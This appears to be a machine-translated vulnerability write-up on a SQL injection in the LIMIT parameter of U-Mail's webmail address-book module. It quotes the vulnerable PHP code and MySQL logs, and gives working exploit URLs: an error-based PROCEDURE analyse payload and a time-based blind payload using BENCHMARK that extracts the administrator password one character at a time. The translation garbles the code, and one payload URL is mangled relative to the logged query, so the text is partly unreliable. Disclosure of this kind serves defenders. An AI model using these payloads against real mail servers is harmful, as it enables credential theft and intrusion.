U-Mail system injection (SQL Injections in MySQL LIMIT clause case)
SQL Injections in MySQL LIMIT clause, which happens to be a defect in the email system. This is a case study. The administrator password can be obtained through injection.
The cause of the vulnerability. The limit in the SQL statement is controllable by the user. improper processing leads to the generation of SQL injection.
The vulnerability file/client/oab/module/operates. php code is
If (ACTION = "member-get") {$ dept_id = gss ($ _ GET ['dept _ id']); $ dept_id = intval ($ dept_id ); // This variable $ keyword = gss ($ _ GET ['keyword']) is not input here; $ page = $ _ GET ['page']? Gss ($ _ GET ['page']): 1; $ limit = $ _ GET ['limit']? Gss ($ _ GET ['limit']): 25; // the limit here is controllable, if this parameter is not input, the value is 25 $ orderby = gss ($ _ GET ['orderby']); $ is_reverse = gss ($ _ GET ['is _ reverse']); $ data_cache = $ Department-> getDepartmentByDomainID ($ domain_id, "dept_id, name, parent_id, 'order'", 0); $ department_list = create_array ($ data_cache, "dept_id ", "name"); $ Tree = $ Department-> getTreeObject (); $ Tree-> set_data_cache ($ data_cache); $ Tree-> sort_data (-1, 1); $ wher E = "t1.CalendarOnly = '0'"; if ($ dept_id & $ dept_id! = "-1") {$ dept_ids = $ Tree-> get_child_id ($ dept_id); $ user_ids = $ Department-> getmailboxidby1_mentid ($ dept_ids, 0); $ where. = "AND t1.UserID IN (". $ user_ids. ")";} else {$ dept_permit = get_session ("dept_permit"); if ($ dept_permit = "1") {$ where_map = "user_id = '". $ user_id. "'"; $ arr_tmp = $ Department-> get_map (array ("fields" => "*", "where" => $ where_map, "orderby" => "dept_id", "debug" => 0);} else if ($ dept_permit = "-1 ") {$ where_permit = "domain_id = '". $ domain_id. "'AND user_id = '". $ user_id. "'"; $ arr_tmp = $ Department-> get_deptpermit (array ("fields" => "*", "where" => $ where_permit, "debug" => 0);} if ($ arr_tmp) {$ dept_arr = array (); foreach ($ arr_tmp as $ arr) {$ dept_arr [] = $ Tree-> get_child_id ($ arr ['dept _ id']);} $ dept_ids = implode (",", $ dept_arr );} if ($ dept_ids) {$ user_ids = $ Department-> getMailboxIDByDepartmentID ($ dept_ids, 0); $ where. = "AND t1.UserID IN (". $ user_ids. ")" ;}} if ($ keyword) {if (strpos ($ keyword, "@") {$ key_tmp = explode ("@", $ keyword ); $ keyword = $ key_tmp [0];} $ where. = "AND (t1.FullName LIKE \" % ". $ keyword. "% \" OR t1.Mailbox LIKE \ "% ". $ keyword. "% \") ";} switch ($ orderby) {case" fullname ":...... case "email": $ orderby = "t1.Mailbox"; break; $ orderby = "" ;}$ arr_tmp = $ Mailbox-> getMailboxInfo ($ domain_id, $ where, $ page, $ limit, $ orderby, $ is_reverse, 0); // todo
The logic in the $ Mailbox-> getMailboxInfo () function is as follows. The code is in/admin/lib/Mailbox. php.
Public function getMailboxInfo ($ _ obfuscate_AkPSczrCIu40, $ _ obfuscate_IRFhnYw? = "", $ _ Obfuscate_AedrEg ?? = "", $ _ Obfuscate_xvYeh9I? = "", $ _ Obfuscate_tUi30UB0e88? = "", $ _ Obfuscate_u5srL4rM3PZJLvpPhQ ?? = FALSE, $ _ obfuscate_ySeUHBw? = FALSE) {$ _ obfuscate_AkPSczrCIu40 = intval ($ _ obfuscate_AkPSczrCIu40); $ _ obfuscate_zbtFQY92OYenSG9u = "t1.DomainID = '". $ _ obfuscate_AkPSczrCIu40. "'AND t1.UserID> 2 AND t1.UserID = t2.UserID AND t2.is _ hidden = 0"; if ($ _ obfuscate_IRFhnYw?) {$ _ Obfuscate_zbtFQY92OYenSG9u. = "AND". $ _ obfuscate_IRFhnYw ?;} If ($ _ obfuscate_xvYeh9I?) {If ($ _ obfuscate_AedrEg ??) {$ _ Obfuscate_mV9HBLY? = $ _ Obfuscate_AedrEg ?? * $ _ Obfuscate_xvYeh9I? -$ _ Obfuscate_xvYeh9I ?;} If ($ _ obfuscate_mV9HBLY?) {$ _ Obfuscate_UFlHiZJcJu6DQBFE = "LIMIT". $ _ obfuscate_mV9HBLY ?. ",". $ _ Obfuscate_xvYeh9I ?;} Else {$ _ obfuscate_UFlHiZJcJu6DQBFE = "LIMIT". $ _ obfuscate_xvYeh9I ?; // The obtained limit is spliced into the SQL statement. You only need to set the parameter to null.} if ($ _ obfuscate_tUi30UB0e88?) {$ _ Obfuscate_5e2O0TiivW7ec4c? = "Order by". $ _ obfuscate_tUi30UB0e88 ?; If ($ _ obfuscate_u5srL4rM3PZJLvpPhQ ??) {$ _ Obfuscate_5e2O0TiivW7ec4c?. = "DESC" ;}$ _ obfuscate_5e2O0TiivW7ec4c?. = ", T1.FullName ASC";} else {$ _ obfuscate_5e2O0TiivW7ec4c? = "Order by t1.OrderNo DESC, t1.Mailbox ASC"; }$ _ obfuscate_mGXfswsMZQ ?? = "SELECT t1.UserID, t1.Mailbox, t1.FullName, t1.EnglishName, t2. * \ r \ n \ t \ tFROM ". $ this-> get_table_name ("mailbox "). "as t1 ,". $ this-> get_table_name ("info "). "as t2 \ r \ n \ t \ tWHERE ". $ _ obfuscate_zbtFQY92OYenSG9u. "\ r \ n \ t ". $ _ obfuscate_5e2O0TiivW7ec4c ?; $ _ Obfuscate_YdwIclUMQ ?? =$ _ Obfuscate_mGXfswsMZQ ??. "". $ _ Obfuscate_UFlHiZJcJu6DQBFE; if ($ _ obfuscate_ySeUHBw?) {Dump ($ _ obfuscate_YdwIclUMQ ?? );} $ _ Obfuscate_MbMfEtWGUpEscGl = $ this-> db_count ($ _ obfuscate_mGXfswsMZQ ?? ); Unset ($ _ obfuscate_1LzzW8sGEkLaizk? ); $ _ Obfuscate_6RYLWQ ?? = $ This-> db_select ($ _ obfuscate_YdwIclUMQ ??, "More"); return array ("count" = >$ _ obfuscate_MbMfEtWGUpEscGl, "data" = >$ _ obfuscate_6RYLWQ ??);}
The call process of this function is, http://mail.fuck.com/webmail/client/oab/index.php? Module = operate & action = member-get
After a common user logs on, execute the request and view the SQL Execution process as follows:
150124 13:53:59 2772 QuerySELECT DomainName from domains 2772 QuerySELECT UserID, Mailbox, FullName, MailDir, Password, AutoDecode, IsForwarding, AllowAccess, AllowChangeViaEmail, KeepForwardedMail, HideFromEveryone, EncryptMail, ApplyQuotas, EnableMultiPop, CanModifyGAB, CalendarOnly, MaxMessageCount, MaxDiskSpace, UserList.DomainID, Domains.DomainName, Domains.DomainID FROM UserList, Domains WHERE UserList.DomainID=Domains.DomainID AND FullName = 'mdaemon server' AND DomainName = 'fuck.com' 2772 QuerySELECT DomainName from domains 2772 QuerySELECT * FROM Domains 2880 Connectumail@localhost on 2880 QuerySET NAMES 'UTF8' 2880 Init DBumail 2880 QuerySELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id` 2880 QuerySELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*FROM userlist as t1, mailuserinfo as t2WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'ORDER BY t1.OrderNo DESC,t1.Mailbox ASC 2880 QuerySELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*FROM userlist as t1, mailuserinfo as t2WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 25
That is, the LIMIT 25 is user controllable, we add the limit variable in the url request, continue to submit the SQL statement as http://mail.fuck.com/webmail/client/oab/index.php? Module = operate & action = member-get & limit = 1, 1 + PROCEDURE + analyze (extractvalue (rand (), concat (0x3a, version (), 1)
Check the execution of SQL statements as follows:
150124 14:06:57 2888 Connectumail@localhost on 2888 QuerySET NAMES 'UTF8' 2888 Init DBumail 2888 QuerySELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id` 2888 QuerySELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*FROM userlist as t1, mailuserinfo as t2WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'ORDER BY t1.OrderNo DESC,t1.Mailbox ASC 2888 QuerySELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*FROM userlist as t1, mailuserinfo as t2WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 1,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,version())),1) 2888 Quit
The email is inserted successfully. The system disables error echo by default, so we cannot directly view the result. The local SQL Execution status is
To continue to obtain sensitive information, we can use blind injection to construct the exp for obtaining the administrator password.
Http://mail.fuck.com/webmail/client/oab/index.php? Module = operate & action = member-get & limit = 1, 1 PROCEDURE analyze (extractvalue (rand (), concat (0x3a, (if (ascii (substr (select password from userlist where userid = 2), 50000000) = 97, BENCHMARK (, SHA1 (1), 1 )))), 1)
The SQL statement is
150124 14:43:21 2911 Connectumail@localhost on 2911 QuerySET NAMES 'UTF8' 2911 Init DBumail 2911 QuerySELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id` 2911 QuerySELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*FROM userlist as t1, mailuserinfo as t2WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'ORDER BY t1.OrderNo DESC,t1.Mailbox ASC 2911 QuerySELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*FROM userlist as t1, mailuserinfo as t2WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 1,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(ascii(substr((select password from userlist where userid=2),1,1))=97, BENCHMARK(50000000,SHA1(1)),1)))),1)
OK. In this way, you can get the administrator password, but it is not necessary to get the permissions of the entire email system. You can continue to search for the email system and find that there is no injection in the other three places. Although the limit is controllable, however, intval processing is executed, so there is no defect,
About limit injection, view the Community Article http://zone.wooyun.org/content/18220 (the original link https://rateip.com/blog/sql-injections-in-mysql-limit-clause/) thanks to the author of the reprinted translation "wudaokou kill" and the original author ():)
Solution:
Intval Processing